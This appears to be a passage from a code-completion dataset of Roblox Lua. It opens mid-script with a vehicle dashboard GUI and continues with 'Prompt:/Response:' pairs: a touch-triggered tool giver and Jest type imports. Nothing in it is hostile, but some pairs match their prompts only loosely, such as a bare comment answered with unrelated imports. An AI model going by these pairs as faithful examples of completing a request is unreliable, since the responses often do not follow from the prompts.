		script.Parent.ABS.Visible = false
	end
end)

script.Parent.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		end
	else
		if script.Parent.ABS.Visible then
			script.Parent.ABS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.PBrake.Changed:connect(function()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)

script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
	inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

mouse.KeyDown:connect(function(key)
	if key=="v" then
		script.Parent.Visible=not script.Parent.Visible
	end
end)


Prompt: --DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!

Response:
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.ShrinkPotion-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)


Prompt: -- ROBLOX deviation END

Response:
local typesModule = require(Packages.JestTypes)
type Global_ArrayTable = typesModule.Global_ArrayTable
type Global_Col = typesModule.Global_Col
type Global_Row = typesModule.Global_Row
type Global_Table = typesModule.Global_Table
local pretty = require(Packages.PrettyFormat).format